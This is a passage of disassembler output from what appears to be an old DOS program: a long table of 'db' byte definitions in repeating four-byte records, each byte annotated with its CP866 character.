		db 0DCh	; э
		db 0EDh	; М
		db 0A8h	; ╗
		db 0F1h	; Я
		db 0F2h	; Р
		db 0EFh	; О
		db 0A8h	; ╗
		db 0F3h	; С
		db 0FEh	; Ч
		db    1	;  
		db 0A8h	; ╗
		db 0FEh	; Ч
		db    1	;  
		db  65h	; e
		db 0A8h	; ╗
		db  27h	; '
		db    1	;  
		db  13h	;  
		db 0A8h	; ╗
		db  4Bh	; K
		db  11h	;  
		db  0Ah	;  
		db 0A8h	; ╗
		db  4Bh	; K
		db  11h	;  
		db  0Bh	;  
		db 0A8h	; ╗
		db  4Dh	; M
		db    8	;  
		db    2	;  
		db 0A8h	; ╗
		db  4Eh	; N
		db  20h	;  
		db  20h	;  
		db 0A8h	; ╗
		db  5Bh	; [
		db    1	;  
		db    1	;  
		db 0A8h	; ╗
		db  5Dh	; ]
		db  15h	;  
		db  15h	;  
		db 0A8h	; ╗
		db  5Dh	; ]
		db  19h	;  
		db  19h	;  
		db 0A8h	; ╗
		db  5Fh	; _
		db    1	;  
		db    1	;  
		db 0A8h	; ╗
		db  5Fh	; _
		db    1	;  
		db    2	;  
		db 0A8h	; ╗
		db  5Fh	; _
		db 0C0h	; ю
		db    1	;  
		db 0A8h	; ╗
		db  5Fh	; _
		db 0C0h	; ю
		db    2	;  
		db 0A8h	; ╗
		db  5Fh	; _
		db 0C0h	; ю
		db    3	;  
		db 0A8h	; ╗
		db  60h	; `
		db  80h	; ─
		db    2	;  
		db 0A8h	; ╗
		db  61h	; a
		db  63h	; c
		db  43h	; C
		db 0A8h	; ╗
		db  62h	; b
		db 0C9h	; и
		db  86h	; ├
		db 0A8h	; ╗
		db  62h	; b
		db 0C9h	; и
		db  87h	; ┤
		db 0A9h	; ╘
		db  83h	; ┐
		db    1	;  
		db    1	;  
		db 0A9h	; ╘
		db  83h	; ┐
		db    1	;  
		db    3	;  
		db 0A9h	; ╘
		db  84h	; └
		db  85h	; ┘
		db    1	;  
		db 0A9h	; ╘
		db  86h	; ├
		db 0A9h	; ╘
		db  0Ah	;  
		db 0A9h	; ╘
		db  87h	; ┤
		db    1	;  
		db  0Bh	;  
		db 0A9h	; ╘
		db  87h	; ┤
		db    1	;  
		db  1Ch	;  
		db 0A9h	; ╘
		db  8Ah	; ┼
		db 0D4h	; т
		db    2	;  
		db 0A9h	; ╘
		db  90h	; ░
		db  44h	; D
		db    7	;  
		db 0A9h	; ╘
		db  93h	; ⌠
		db  60h	; `
		db    1	;  
		db 0A9h	; ╘
		db  93h	; ⌠
		db  60h	; `
		db    2	;  
		db 0A9h	; ╘
		db  94h	; ■
		db 0D8h	; ь
		db  65h	; e
		db 0A9h	; ╘
		db  97h	; ≈
		db    2	;  
		db  13h	;  
		db 0A9h	; ╘
		db  98h	; ≤
		db  4Fh	; O
		db    6	;  
		db 0A9h	; ╘
		db  99h	; ≥
		db 0CAh	; й
		db  28h	; (
		db 0A9h	; ╘
		db  99h	; ≥
		db 0CAh	; й
		db  29h	; )
		db 0A9h	; ╘
		db  9Dh	; ²
		db 0AFh	; ╞
		db  17h	;  
		db 0A9h	; ╘
		db  9Dh	; ²
		db 0AFh	; ╞
		db  18h	;  
		db 0A9h	; ╘
		db  9Eh	; ·
		db  80h	; ─
		db  88h	; ┬
		db 0A9h	; ╘
		db 0C6h	; ф
		db    1	;  
		db  15h	;  
		db 0A9h	; ╘
		db 0C6h	; ф
		db    1	;  
		db  16h	;  
		db 0A9h	; ╘
		db 0C7h	; г
		db    1	;  
		db    1	;  
		db 0A9h	; ╘
		db 0C8h	; х
		db  19h	;  
		db  88h	; ┬
		db 0A9h	; ╘
		db 0C8h	; х
		db  19h	;  
		db  89h	; ┴
		db 0A9h	; ╘
		db 0CEh	; н
		db  0Ch	;  
		db    8	;  
		db 0A9h	; ╘
		db 0CFh	; о
		db    2	;  
		db  48h	; H
		db 0A9h	; ╘
		db 0E2h	; Б
		db    1	;  
		db  64h	; d
		db 0A9h	; ╘
		db 0E2h	; Б
		db    1	;  
		db  67h	; g
		db 0A9h	; ╘
		db 0EDh	; М
		db    1	;  
		db 0FAh	; З
		db 0A9h	; ╘
		db 0EDh	; М
		db 0FAh	; З
		db 0FAh	; З
		db 0A9h	; ╘
		db 0F5h	; У
		db 0FEh	; Ч
		db    1	;  
		db 0A9h	; ╘
		db 0F5h	; У
		db 0FEh	; Ч
		db    2	;  
		db 0A9h	; ╘
		db  47h	; G
		db    1	;  
		db  0Bh	;  
		db 0AAh	; ╙
		db  67h	; g
		db  8Eh	; ▌
		db    1	;  
		db 0AAh	; ╙
		db  6Bh	; k
		db 0C8h	; х
		db 0C8h	; х
		db 0AAh	; ╙
		db  6Bh	; k
		db 0C8h	; х
		db 0CAh	; й
		db 0AAh	; ╙
		db  6Ch	; l
		db 0CCh	; л
		db 0FDh	; Щ
		db 0AAh	; ╙
		db  6Eh	; n
		db 0D6h	; ж
		db  26h	; &
		db 0AAh	; ╙
		db  70h	; p
		db    1	;  
		db  22h	; "
		db 0AAh	; ╙
		db  73h	; s
		db 0F9h	; Ы
		db  0Ah	;  
		db 0AAh	; ╙
		db  76h	; v
		db  9Dh	; ²
		db  64h	; d
		db 0AAh	; ╙
		db  76h	; v
		db  9Dh	; ²
		db  65h	; e
		db 0AAh	; ╙
		db  7Ah	; z
		db 0FAh	; З
		db  0Ah	;  
		db 0AAh	; ╙
		db  7Dh	; }
		db  0Bh	;  
		db  20h	;  
		db 0AAh	; ╙
		db  80h	; ─
		db 0AFh	; ╞
		db  91h	; ▒
		db 0AAh	; ╙
		db  8Ch	; ▄
		db    1	;  
		db    1	;  
		db 0AAh	; ╙
		db  8Ch	; ▄
		db    2	;  
		db    1	;  
		db 0AAh	; ╙
		db  8Eh	; ▌
		db    1	;  
		db  96h	; √
		db 0AAh	; ╙
		db  8Eh	; ▌
		db    1	;  
		db  4Ah	; J
		db 0AAh	; ╙
		db  91h	; ▒
		db  1Ah	;  
		db  42h	; B
		db 0AAh	; ╙
		db  93h	; ⌠
		db  2Dh	; -
		db 0A3h	; ё
		db 0AAh	; ╙
		db  93h	; ⌠
		db  2Dh	; -
		db 0A4h	; є
		db 0AAh	; ╙
		db  94h	; ■
		db  9Ch	; °
		db  0Ah	;  
		db 0AAh	; ╙
		db  94h	; ■
		db  24h	; $
		db  0Ah	;  
		db 0AAh	; ╙
		db  99h	; ≥
		db  40h	; @
		db    3	;  
		db 0AAh	; ╙
		db  99h	; ≥
		db  40h	; @
		db    6	;  
		db 0AAh	; ╙
		db  9Bh	; ⌡
		db    1	;  
		db    5	;  
		db 0AAh	; ╙
		db  9Eh	; ·
		db    1	;  
		db  29h	; )
		db 0AAh	; ╙
		db  9Eh	; ·
		db    2	;  
		db    9	;  
		db 0AAh	; ╙
		db 0A0h	; ═
		db    4	;  
		db 0FDh	; Щ
		db 0AAh	; ╙
		db 0A0h	; ═
		db    4	;  
		db 0FEh	; Ч
		db 0AAh	; ╙
		db 0A3h	; ё
		db 0F8h	; Ь
		db    3	;  
		db 0AAh	; ╙
		db 0A4h	; є
		db  32h	; 2
		db  42h	; B
		db 0AAh	; ╙
		db 0A7h	; ї
		db    4	;  
		db  14h	;  
		db 0AAh	; ╙
		db 0A7h	; ї
		db    6	;  
		db  14h	;  
		db 0AAh	; ╙
		db 0A9h	; ╘
		db  2Eh	; .
		db 0CBh	; к
		db 0AAh	; ╙
		db  11h	;  
		db 0A5h	; ╔
		db  8Eh	; ▌
		db 0AAh	; ╙
		db  11h	;  
		db 0A5h	; ╔
		db  8Fh	; ▐
		db 0AAh	; ╙
		db 0ABh	; ╚
		db 0FBh	; Ш
		db  96h	; √
		db 0AAh	; ╙
		db 0ABh	; ╚
		db 0FCh	; Э
		db  13h	;  
		db 0AAh	; ╙
		db 0BCh	; ╪
		db    5	;  
		db  0Bh	;  
		db 0AAh	; ╙
		db 0C9h	; и
		db  29h	; )
		db  33h	; 3
		db 0AAh	; ╙
		db 0CEh	; н
		db 0E1h	; А
		db  15h	;  
		db 0AAh	; ╙
		db 0CEh	; н
		db 0E3h	; Ц
		db  15h	;  
		db 0AAh	; ╙
		db 0DEh	; ч
		db  40h	; @
		db  82h	; ┌
		db 0AAh	; ╙
		db 0DFh	; ъ
		db  20h	;  
		db  11h	;  
		db 0AAh	; ╙
		db 0EBh	; К
		db    3	;  
		db  0Ah	;  
		db 0AAh	; ╙
		db 0EBh	; К
		db    3	;  
		db  14h	;  
		db 0AAh	; ╙
		db 0FCh	; Э
		db 0F8h	; Ь
		db    5	;  
		db 0AAh	; ╙
		db 0FDh	; Щ
		db  9Ch	; °
		db    4	;  
		db 0AAh	; ╙
		db 0FDh	; Щ
		db 0ECh	; Л
		db    4	;  
		db 0AAh	; ╙
		db    3	;  
		db    8	;  
		db    1	;  
		db 0AAh	; ╙
		db  1Eh	;  
		db 0F0h	; П
		db 0FDh	; Щ
		db 0AAh	; ╙
		db  1Eh	;  
		db 0F0h	; П
		db 0FEh	; Ч
		db 0AAh	; ╙
		db  26h	; &
		db  63h	; c
		db  63h	; c
		db 0AAh	; ╙
		db  2Eh	; .
		db 0C8h	; х
		db 0C8h	; х
		db 0AAh	; ╙
		db  2Fh	; /
		db    1	;  
		db    2	;  
		db 0AAh	; ╙
		db  37h	; 7
		db  77h	; w
		db  0Dh	;  
		db 0AAh	; ╙
		db  38h	; 8
		db  3Ah	; :
		db  35h	; 5
		db 0AAh	; ╙
		db  41h	; A
		db  6Ah	; j
		db  21h	; !
		db 0AAh	; ╙
		db  42h	; B
		db    1	;  
		db    2	;  
		db 0AAh	; ╙
		db  42h	; B
		db    1	;  
		db    3	;  
		db 0AAh	; ╙
		db  44h	; D
		db  15h	;  
		db  32h	; 2
		db 0AAh	; ╙
		db  4Ch	; L
		db  10h	;  
		db    5	;  
		db 0AAh	; ╙
		db  55h	; U
		db  12h	;  
		db  15h	;  
		db 0AAh	; ╙
		db  5Ch	; \
		db    1	;  
		db  0Eh	;  
		db 0AAh	; ╙
		db  5Eh	; ^
		db    1	;  
		db    1	;  
		db 0AAh	; ╙
		db  63h	; c
		db  6Ch	; l
		db    1	;  
		db 0ABh	; ╚
		db  9Fh	; ÷
		db 0C0h	; ю
		db  0Fh	;  
		db 0ABh	; ╚
		db  9Fh	; ÷
		db  40h	; @
		db  0Fh	;  
		db 0ABh	; ╚
		db 0A1h	; ║
		db 0A0h	; ═
		db  0Fh	;  
		db 0ABh	; ╚
		db 0A1h	; ║
		db 0E0h	; Ю
		db  0Fh	;  
		db 0ABh	; ╚
		db 0A1h	; ║
		db  60h	; `
		db  0Fh	;  
		db 0ABh	; ╚
		db  13h	;  
		db    1	;  
		db    6	;  
		db 0ABh	; ╚
		db  18h	;  
		db 0FEh	; Ч
		db    9	;  
		db 0ABh	; ╚
		db  1Fh	;  
		db    0	;  
		db    1	;  
		db 0ABh	; ╚
		db  40h	; @
		db    2	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  40h	; @
		db    2	;  
		db 0DCh	; э
		db 0ABh	; ╚
		db  40h	; @
		db    2	;  
		db 0E6h	; Ф
		db 0ABh	; ╚
		db  42h	; B
		db  79h	; y
		db  64h	; d
		db 0ABh	; ╚
		db  42h	; B
		db 0E8h	; Х
		db  24h	; $
		db 0ABh	; ╚
		db  48h	; H
		db    5	;  
		db  5Fh	; _
		db  12h	;  
		db  48h	; H
		db    0	;  
		db    3	;  
		db 0C0h	; ю
		db    0	;  
		db  22h	; "
		db  7Eh	; ~
		db 0C0h	; ю
		db  64h	; d
		db  50h	; P
		db    2	;  
		db 0C0h	; ю
		db  64h	; d
		db  5Eh	; ^
		db    3	;  
		db 0C0h	; ю
		db  64h	; d
		db  5Eh	; ^
		db    9	;  
		db 0C0h	; ю
		db  65h	; e
		db  79h	; y
		db  14h	;  
		db 0C0h	; ю
		db  65h	; e
		db  15h	;  
		db    1	;  
		db 0C0h	; ю
		db  65h	; e
		db 0FAh	; З
		db  0Ah	;  
		db 0C0h	; ю
		db  65h	; e
		db 0FAh	; З
		db    7	;  
		db 0C0h	; ю
		db  66h	; f
		db 0A7h	; ї
		db    2	;  
		db 0C0h	; ю
		db  67h	; g
		db  3Fh	; ?
		db  64h	; d
		db 0C0h	; ю
		db  68h	; h
		db  6Bh	; k
		db    1	;  
		db 0C0h	; ю
		db  68h	; h
		db  36h	; 6
		db    1	;  
		db 0C0h	; ю
		db  6Ah	; j
		db    1	;  
		db    1	;  
		db 0C0h	; ю
		db  6Ah	; j
		db    1	;  
		db    9	;  
		db 0C0h	; ю
		db  6Bh	; k
		db  76h	; v
		db  9Ah	;  
		db 0C0h	; ю
		db  6Bh	; k
		db 0FCh	; Э
		db  21h	; !
		db 0C0h	; ю
		db  6Ch	; l
		db  82h	; ┌
		db  21h	; !
		db 0C0h	; ю
		db  6Ch	; l
		db  83h	; ┐
		db  0Bh	;  
		db 0C0h	; ю
		db  6Ch	; l
		db  22h	; "
		db    3	;  
		db 0C0h	; ю
		db  6Dh	; m
		db 0B0h	; ╟
		db    1	;  
		db 0C0h	; ю
		db  6Dh	; m
		db 0BEh	; Ў
		db    2	;  
		db 0C0h	; ю
		db  6Dh	; m
		db    2	;  
		db  21h	; !
		db 0C0h	; ю
		db  0Bh	;  
		db 0DEh	; ч
		db 0A9h	; ╘
		db 0C0h	; ю
		db  0Bh	;  
		db 0DFh	; ъ
		db 0A9h	; ╘
		db 0C0h	; ю
		db  0Bh	;  
		db 0E2h	; Б
		db 0A9h	; ╘
		db 0C0h	; ю
		db  6Fh	; o
		db  7Bh	; {
		db 0F5h	; У
		db 0C0h	; ю
		db  6Fh	; o
		db  27h	; '
		db    1	;  
		db 0C0h	; ю
		db  6Fh	; o
		db  27h	; '
		db    4	;  
		db 0C0h	; ю
		db  70h	; p
		db 0DBh	; ш
		db    6	;  
		db 0C0h	; ю
		db  70h	; p
		db 0F6h	; Ж
		db 0CAh	; й
		db 0C0h	; ю
		db  70h	; p
		db 0F6h	; Ж
		db 0CDh	; м
		db 0C0h	; ю
		db  70h	; p
		db  3Ch	; <
		db  21h	; !
		db 0C0h	; ю
		db  74h	; t
		db 0C0h	; ю
		db    9	;  
		db 0C0h	; ю
		db  74h	; t
		db 0CAh	; й
		db  63h	; c
		db 0C0h	; ю
		db  0Ch	;  
		db  8Ch	; ▄
		db    5	;  
		db 0C0h	; ю
		db  0Ch	;  
		db  45h	; E
		db    5	;  
		db 0C0h	; ю
		db  0Ch	;  
		db    7	;  
		db    1	;  
		db 0C0h	; ю
		db  7Fh	; 
		db 0FCh	; Э
		db    2	;  
		db 0C0h	; ю
		db  80h	; ─
		db  85h	; ┘
		db  4Dh	; M
		db 0C0h	; ю
		db  80h	; ─
		db 0A7h	; ї
		db  4Dh	; M
		db 0C0h	; ю
		db  81h	; │
		db  37h	; 7
		db    1	;  
		db 0C0h	; ю
		db  83h	; ┐
		db    1	;  
		db    3	;  
		db 0C0h	; ю
		db  83h	; ┐
		db  91h	; ▒
		db  12h	;  
		db 0C0h	; ю
		db  84h	; └
		db 0D5h	; у
		db    3	;  
		db 0C0h	; ю
		db  84h	; └
		db    3	;  
		db  2Fh	; /
		db 0C0h	; ю
		db  84h	; └
		db    3	;  
		db  30h	; 0
		db 0C0h	; ю
		db  85h	; ┘
		db  1Ch	;  
		db    1	;  
		db 0C0h	; ю
		db  85h	; ┘
		db  1Ch	;  
		db    7	;  
		db 0C0h	; ю
		db  85h	; ┘
		db  2Ah	; *
		db 0E7h	; Г
		db 0C0h	; ю
		db  85h	; ┘
		db  2Ah	; *
		db    5	;  
		db 0C0h	; ю
		db  86h	; ├
		db    0	;  
		db  31h	; 1
		db 0C0h	; ю
		db  86h	; ├
		db 0D8h	; ь
		db  13h	;  
		db 0C0h	; ю
		db  87h	; ┤
		db  0Bh	;  
		db  14h	;  
		db 0C0h	; ю
		db  87h	; ┤
		db 0B0h	; ╟
		db  16h	;  
		db 0C0h	; ю
		db  87h	; ┤
		db 0BFh	; ©
		db    1	;  
		db 0C0h	; ю
		db  87h	; ┤
		db 0BFh	; ©
		db    3	;  
		db 0C0h	; ю
		db  87h	; ┤
		db 0C1h	; а
		db  47h	; G
		db 0C0h	; ю
		db  87h	; ┤
		db 0C1h	; а
		db    9	;  
		db 0C0h	; ю
		db  87h	; ┤
		db 0FAh	; З
		db  45h	; E
		db 0C0h	; ю
		db  87h	; ┤
		db 0FAh	; З
		db  46h	; F
		db 0C0h	; ю
		db  88h	; ┬
		db  18h	;  
		db    2	;  
		db 0C0h	; ю
		db  8Ah	; ┼
		db  97h	; ≈
		db  21h	; !
		db 0C0h	; ю
		db  8Ah	; ┼
		db  97h	; ≈
		db  2Bh	; +
		db 0C0h	; ю
		db  8Ah	; ┼
		db  55h	; U
		db  42h	; B
		db 0C0h	; ю
		db  8Ah	; ┼
		db  55h	; U
		db  45h	; E
		db 0C0h	; ю
		db  8Bh	; ▀
		db  98h	; ≤
		db  82h	; ┌
		db 0C0h	; ю
		db  92h	; ▓
		db  97h	; ≈
		db 0A1h	; ║
		db 0C0h	; ю
		db  92h	; ▓
		db  97h	; ≈
		db 0ACh	; ╛
		db 0C0h	; ю
		db  93h	; ⌠
		db  0Dh	;  
		db  41h	; A
		db 0C0h	; ю
		db  93h	; ⌠
		db  41h	; A
		db  42h	; B
		db 0C0h	; ю
		db  93h	; ⌠
		db  41h	; A
		db  63h	; c
		db 0C0h	; ю
		db  93h	; ⌠
		db  45h	; E
		db  2Eh	; .
		db 0C0h	; ю
		db  93h	; ⌠
		db  49h	; I
		db    2	;  
		db 0C0h	; ю
		db  94h	; ■
		db    1	;  
		db  0Ah	;  
		db 0C0h	; ю
		db  94h	; ■
		db  7Ah	; z
		db    5	;  
		db 0C0h	; ю
		db  94h	; ■
		db 0F9h	; Ы
		db  1Eh	;  
		db 0C0h	; ю
		db  94h	; ■
		db 0FCh	; Э
		db  2Bh	; +
		db 0C0h	; ю
		db  95h	; ∙
		db 0D6h	; ж
		db  2Dh	; -
		db 0C0h	; ю
		db  96h	; √
		db  0Bh	;  
		db 0F7h	; В
		db 0C0h	; ю
		db  96h	; √
		db  0Bh	;  
		db  1Eh	;  
		db 0C0h	; ю
		db  98h	; ≤
		db  8Ch	; ▄
		db    1	;  
		db 0C0h	; ю
		db  98h	; ≤
		db  12h	;  
		db  11h	;  
		db 0C0h	; ю
		db  98h	; ≤
		db 0B7h	; Ї
		db 0C9h	; и
		db 0C0h	; ю
		db  99h	; ≥
		db  9Ch	; °
		db  16h	;  
		db 0C0h	; ю
		db  99h	; ≥
		db  9Ch	; °
		db    3	;  
		db 0C0h	; ю
		db  99h	; ≥
		db  22h	; "
		db  0Ah	;  
		db 0C0h	; ю
		db  99h	; ≥
		db  22h	; "
		db  14h	;  
		db 0C0h	; ю
		db  99h	; ≥
		db  23h	; #
		db    1	;  
		db 0C0h	; ю
		db  9Bh	; ⌡
		db  41h	; A
		db  16h	;  
		db 0C0h	; ю
		db  9Bh	; ⌡
		db  41h	; A
		db  1Bh	;  
		db 0C0h	; ю
		db  9Ch	; °
		db  0Dh	;  
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db  0Dh	;  
		db  23h	; #
		db 0C0h	; ю
		db  9Ch	; °
		db  86h	; ├
		db  0Fh	;  
		db 0C0h	; ю
		db  9Ch	; °
		db  86h	; ├
		db  10h	;  
		db 0C0h	; ю
		db  9Ch	; °
		db 0C4h	; д
		db    1	;  
		db 0C0h	; ю
		db  9Ch	; °
		db 0C4h	; д
		db    3	;  
		db 0C0h	; ю
		db  9Ch	; °
		db  1Ah	;  
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db  25h	; %
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db    5	;  
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db  43h	; C
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db  44h	; D
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db  49h	; I
		db  22h	; "
		db 0C0h	; ю
		db  9Ch	; °
		db  4Eh	; N
		db  82h	; ┌
		db 0C0h	; ю
		db  9Dh	; ²
		db  82h	; ┌
		db  0Ah	;  
		db 0C0h	; ю
		db  9Fh	; ÷
		db  4Ch	; L
		db  0Fh	;  
		db 0C0h	; ю
		db  10h	;  
		db 0C7h	; г
		db    1	;  
		db 0C0h	; ю
		db  10h	;  
		db 0CAh	; й
		db  0Bh	;  
		db 0C0h	; ю
		db 0A0h	; ═
		db  0Dh	;  
		db    1	;  
		db 0C0h	; ю
		db 0A0h	; ═
		db  0Dh	;  
		db    2	;  
		db 0C0h	; ю
		db 0A0h	; ═
		db 0B8h	; ╦
		db    5	;  
		db 0C0h	; ю
		db 0A0h	; ═
		db    6	;  
		db  5Ah	; Z
		db 0C0h	; ю
		db 0A0h	; ═
		db    6	;  
		db  5Bh	; [
		db 0C0h	; ю
		db 0A0h	; ═
		db  3Eh	; >
		db  42h	; B
		db 0C0h	; ю
		db 0A2h	; ╒
		db  10h	;  
		db  15h	;  
		db 0C0h	; ю
		db 0A2h	; ╒
		db  10h	;  
		db  1Fh	;  
		db 0C0h	; ю
		db 0A9h	; ╘
		db  21h	; !
		db    3	;  
		db 0C0h	; ю
		db 0ABh	; ╚
		db 0AAh	; ╙
		db    1	;  
		db 0C0h	; ю
		db  12h	;  
		db  10h	;  
		db    2	;  
		db 0C0h	; ю
		db  12h	;  
		db 0F0h	; П
		db    8	;  
		db 0C0h	; ю
		db  12h	;  
		db  63h	; c
		db    5	;  
		db 0C0h	; ю
		db 0BCh	; ╪
		db  6Bh	; k
		db  0Ch	;  
		db 0C0h	; ю
		db 0BCh	; ╪
		db  48h	; H
		db  12h	;  
		db 0C0h	; ю
		db 0BCh	; ╪
		db  48h	; H
		db  15h	;  
		db 0C0h	; ю
		db 0BDh	; Ґ
		db  70h	; p
		db  82h	; ┌
		db 0C0h	; ю
		db 0BDh	; Ґ
		db 0B7h	; Ї
		db    5	;  
		db 0C0h	; ю
		db 0BDh	; Ґ
		db  36h	; 6
		db  11h	;  
		db 0C0h	; ю
		db 0BDh	; Ґ
		db  36h	; 6
		db  21h	; !
		db 0C0h	; ю
		db 0C0h	; ю
		db  78h	; x
		db    3	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db 0C7h	; г
		db 0FBh	; Ш
		db 0C0h	; ю
		db 0C0h	; ю
		db 0E3h	; Ц
		db    4	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db  1Fh	;  
		db    3	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db  2Dh	; -
		db    1	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db  32h	; 2
		db    1	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db    6	;  
		db  6Eh	; n
		db 0C0h	; ю
		db 0C0h	; ю
		db    6	;  
		db  78h	; x
		db 0C0h	; ю
		db 0C0h	; ю
		db  4Dh	; M
		db  0Fh	;  
		db 0C0h	; ю
		db 0C0h	; ю
		db  4Dh	; M
		db    5	;  
		db 0C0h	; ю
		db 0C1h	; а
		db 0C3h	; ц
		db 0C3h	; ц
		db 0C0h	; ю
		db 0C3h	; ц
		db 0C4h	; д
		db 0ECh	; Л
		db 0C0h	; ю
		db 0C3h	; ц
		db 0C4h	; д
		db  19h	;  
		db 0C0h	; ю
		db 0C3h	; ц
		db 0F0h	; П
		db    1	;  
		db 0C0h	; ю
		db 0C3h	; ц
		db 0F5h	; У
		db  90h	; ░
		db 0C0h	; ю
		db 0C5h	; е
		db  65h	; e
		db    2	;  
		db 0C0h	; ю
		db 0C5h	; е
		db  65h	; e
		db 0FDh	; Щ
		db 0C0h	; ю
		db 0C5h	; е
		db  94h	; ■
		db 0E1h	; А
		db 0C0h	; ю
		db 0C5h	; е
		db 0A2h	; ╒
		db    1	;  
		db 0C0h	; ю
		db 0C5h	; е
		db 0B5h	; ╣
		db 0F1h	; Я
		db 0C0h	; ю
		db 0C5h	; е
		db 0BFh	; ©
		db  82h	; ┌
		db 0C0h	; ю
		db 0C5h	; е
		db  45h	; E
		db  14h	;  
		db 0C0h	; ю
		db 0C5h	; е
		db  47h	; G
		db  83h	; ┐
		db 0C0h	; ю
		db 0C5h	; е
		db  53h	; S
		db    1	;  
		db 0C0h	; ю
		db 0C6h	; ф
		db  35h	; 5
		db  0Ah	;  
		db 0C0h	; ю
		db 0C6h	; ф
		db  36h	; 6
		db  0Ah	;  
		db 0C0h	; ю
		db  14h	;  
		db 0E1h	; А
		db    4	;  
		db 0C0h	; ю
		db 0CBh	; к
		db  86h	; ├
		db    2	;  
		db 0C0h	; ю
		db 0CBh	; к
		db  8Ch	; ▄
		db    1	;  
		db 0C0h	; ю
		db 0CBh	; к
		db  11h	;  
		db  47h	; G
		db 0C0h	; ю
		db 0CBh	; к
		db  29h	; )
		db    1	;  
		db 0C0h	; ю
		db 0CCh	; л
		db  60h	; `
		db  11h	;  
		db 0C0h	; ю
		db 0CEh	; н
		db  1Dh	;  
		db    2	;  
		db 0C0h	; ю
		db 0CEh	; н
		db  2Bh	; +
		db 0FDh	; Щ
		db 0C0h	; ю
		db 0CEh	; н
		db  2Bh	; +
		db 0FEh	; Ч
		db 0C0h	; ю
		db 0CFh	; о
		db 0E2h	; Б
		db  48h	; H
		db 0C0h	; ю
		db 0CFh	; о
		db 0F8h	; Ь
		db  0Ah	;  
		db 0C0h	; ю
		db 0CFh	; о
		db  38h	; 8
		db    1	;  
		db 0C0h	; ю
		db 0D2h	; р
		db  0Ah	;  
		db  7Ah	; z
		db 0C0h	; ю
		db 0D2h	; р
		db  0Ah	;  
		db  14h	;  
		db 0C0h	; ю
		db 0D7h	; в
		db  20h	;  
		db  13h	;  
		db 0C0h	; ю
		db 0D8h	; ь
		db  11h	;  
		db  14h	;  
		db 0C0h	; ю
		db 0D8h	; ь
		db 0B8h	; ╦
		db    3	;  
		db 0C0h	; ю
		db 0D8h	; ь
		db 0DDh	; щ
		db    8	;  
		db 0C0h	; ю
		db 0DBh	; ш
		db 0FEh	; Ч
		db    1	;  
		db 0C0h	; ю
		db 0DCh	; э
		db 0FAh	; З
		db    7	;  
		db 0C0h	; ю
		db 0DCh	; э
		db 0FBh	; Ш
		db    7	;  
		db 0C0h	; ю
		db 0E1h	; А
		db  21h	; !
		db    1	;  
		db 0C0h	; ю
		db 0E4h	; Д
		db  80h	; ─
		db  0Bh	;  
		db 0C0h	; ю
		db 0E4h	; Д
		db  80h	; ─
		db  12h	;  
		db 0C0h	; ю
		db 0E4h	; Д
		db  80h	; ─
		db  14h	;  
		db 0C0h	; ю
		db 0E7h	; Г
		db  8Fh	; ▐
		db    1	;  
		db 0C0h	; ю
		db 0E7h	; Г
		db 0CBh	; к
		db    2	;  
		db 0C0h	; ю
		db 0E7h	; Г
		db 0CBh	; к
		db    3	;  
		db 0C0h	; ю
		db 0E7h	; Г
		db 0D7h	; в
		db    2	;  
		db 0C0h	; ю
		db 0E7h	; Г
		db 0D7h	; в
		db 0FBh	; Ш
		db 0C0h	; ю
		db 0E7h	; Г
		db 0FDh	; Щ
		db 0F2h	; Р
		db 0C0h	; ю
		db 0E7h	; Г
		db  56h	; V
		db    1	;  
		db 0C0h	; ю
		db 0E8h	; Х
		db  79h	; y
		db 0FDh	; Щ
		db 0C0h	; ю
		db 0E8h	; Х
		db  7Fh	; 
		db 0BFh	; ©
		db 0C0h	; ю
		db 0E8h	; Х
		db    7	;  
		db  42h	; B
		db 0C0h	; ю
		db 0E9h	; И
		db  91h	; ▒
		db    6	;  
		db 0C0h	; ю
		db 0E9h	; И
		db  55h	; U
		db  81h	; │
		db 0C0h	; ю
		db 0EAh	; Й
		db 0EBh	; К
		db  82h	; ┌
		db 0C0h	; ю
		db 0EDh	; М
		db  7Dh	; }
		db    2	;  
		db 0C0h	; ю
		db 0EDh	; М
		db  7Dh	; }
		db  14h	;  
		db 0C0h	; ю
		db 0EFh	; О
		db  10h	;  
		db  81h	; │
		db 0C0h	; ю
		db 0EFh	; О
		db  42h	; B
		db    2	;  
		db 0C0h	; ю
		db 0EFh	; О
		db  46h	; F
		db    8	;  
		db 0C0h	; ю
		db 0F0h	; П
		db  87h	; ┤
		db    5	;  
		db 0C0h	; ю
		db 0F3h	; С
		db  20h	;  
		db  0Ah	;  
		db 0C0h	; ю
		db 0F3h	; С
		db  20h	;  
		db  99h	; ≥
		db 0C0h	; ю
		db 0F5h	; У
		db  0Ch	;  
		db  32h	; 2
		db 0C0h	; ю
		db 0F5h	; У
		db 0A3h	; ё
		db    1	;  
		db 0C0h	; ю
		db 0F5h	; У
		db 0B0h	; ╟
		db 0C8h	; х
		db 0C0h	; ю
		db 0F9h	; Ы
		db  18h	;  
		db  3Eh	; >
		db 0C0h	; ю
		db 0FBh	; Ш
		db 0D5h	; у
		db    4	;  
		db 0C0h	; ю
		db 0FBh	; Ш
		db 0D5h	; у
		db    5	;  
		db 0C0h	; ю
		db 0FBh	; Ш
		db  43h	; C
		db  84h	; └
		db 0C0h	; ю
		db 0FBh	; Ш
		db  43h	; C
		db    9	;  
		db 0C0h	; ю
		db  1Ah	;  
		db  77h	; w
		db    4	;  
		db 0C0h	; ю
		db  1Ah	;  
		db  77h	; w
		db    7	;  
		db 0C0h	; ю
		db  1Ah	;  
		db 0D2h	; р
		db    1	;  
		db 0C0h	; ю
		db  1Ah	;  
		db  5Ch	; \
		db  1Eh	;  
		db 0C0h	; ю
		db  1Ch	;  
		db    4	;  
		db  1Ah	;  
		db 0C0h	; ю
		db  1Fh	;  
		db  6Ah	; j
		db    5	;  
		db 0C0h	; ю
		db  1Fh	;  
		db 0AEh	; ў
		db    2	;  
		db 0C0h	; ю
		db  1Fh	;  
		db 0D8h	; ь
		db    9	;  
		db 0C0h	; ю
